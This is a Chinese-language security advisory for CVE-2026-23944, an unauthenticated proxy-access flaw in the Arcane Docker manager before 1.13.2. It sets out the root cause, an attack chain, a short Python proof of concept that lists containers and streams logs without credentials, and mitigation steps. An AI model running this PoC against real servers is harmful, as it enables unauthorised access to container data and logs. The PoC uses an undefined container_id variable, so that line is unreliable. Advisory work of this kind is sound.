IPBUF安全漏洞报告
English
CVE-2026-23944 CVSS 9.8 严重

CVE-2026-23944: Arcane远程环境代理未授权访问漏洞

披露日期: 2026-01-19

漏洞信息

漏洞编号
CVE-2026-23944
漏洞类型
未授权访问
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Arcane

相关标签

未授权访问代理绕过的身份验证ArcaneDocker容器管理远程代码执行CRITICALCVSS 9.8

漏洞概述

Arcane是一个用于管理Docker容器、镜像、网络和卷的界面管理工具。在1.13.2版本之前,存在一个严重的安全漏洞,该漏洞允许未认证的请求被代理到远程环境代理,从而无需认证即可访问远程环境资源。环境代理中间件在强制身份验证之前处理了远程环境的/api/environments/{id}/...请求。当环境ID不是本地时,中间件会代理请求并附加管理器持有的代理令牌,即使调用者未经过身份验证。这使得未经身份验证的攻击者可以访问远程环境操作(如列出容器、流式传输日志或其他代理端点)。攻击者可以通过代理访问和操作远程环境资源,可能导致数据泄露、未授权更改或服务中断。

技术细节

该漏洞的根本原因在于环境代理中间件对远程环境请求的认证检查存在缺陷。中间件在处理/api/environments/{id}/...路由时,首先判断环境ID是否为本地环境。如果环境ID指向远程环境,中间件会尝试将请求代理到远程代理服务器,并自动附加管理器持有的agent token进行认证。然而,这一认证判断发生在全局认证检查之前,导致即使请求发起者未提供任何认证凭证,中间件仍会使用服务端的agent token完成代理请求。攻击者只需构造特定的API请求路径(如/api/environments/{remote_id}/containers或/api/environments/{remote_id}/logs),指定一个有效的远程环境ID,即可绕过认证机制,访问远程环境中的Docker资源、执行容器操作或获取敏感日志信息。

攻击链分析

STEP 1
步骤1
攻击者识别目标Arcane服务器,并获取有效的远程环境ID
STEP 2
步骤2
攻击者构造未认证的HTTP请求,访问/api/environments/{remote_id}/containers等端点
STEP 3
步骤3
中间件接收请求后,判断环境ID为远程环境,自动附加服务端agent token
STEP 4
步骤4
请求被代理到远程环境代理服务器,服务端token通过认证验证
STEP 5
步骤5
攻击者成功获取远程环境的Docker容器列表、日志或其他敏感资源
STEP 6
步骤6
攻击者可进一步执行容器操作、修改配置或窃取数据,导致数据泄露和服务中断

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-23944 PoC - Unauthenticated Access to Remote Environment # Target: Arcane < 1.13.2 target = "http://target-arcane-server.com" # Identify a remote environment ID (could be enumerated or obtained from public sources) remote_env_id = "remote-env-uuid-12345" # List containers in remote environment without authentication list_containers_url = f"{target}/api/environments/{remote_env_id}/containers" response = requests.get(list_containers_url) print(f"Status: {response.status_code}") print(f"Containers: {response.text}") # Stream logs from a container in remote environment logs_url = f"{target}/api/environments/{remote_env_id}/containers/{container_id}/logs" logs_response = requests.get(logs_url, stream=True) print(f"Logs Status: {logs_response.status_code}") for line in logs_response.iter_lines(): print(line) # Execute other agent endpoints (images, volumes, networks) # images: /api/environments/{id}/images # volumes: /api/environments/{id}/volumes # networks: /api/environments/{id}/networks

影响范围

Arcane < 1.13.2

防御指南

临时缓解措施
立即升级Arcane至1.13.2版本以修复该漏洞。在无法立即升级的情况下,可通过配置网络访问控制列表(ACL)限制对/api/environments/*路径的访问,仅允许受信任的IP地址或网络段访问,并启用Web应用防火墙(WAF)规则检测异常的代理请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表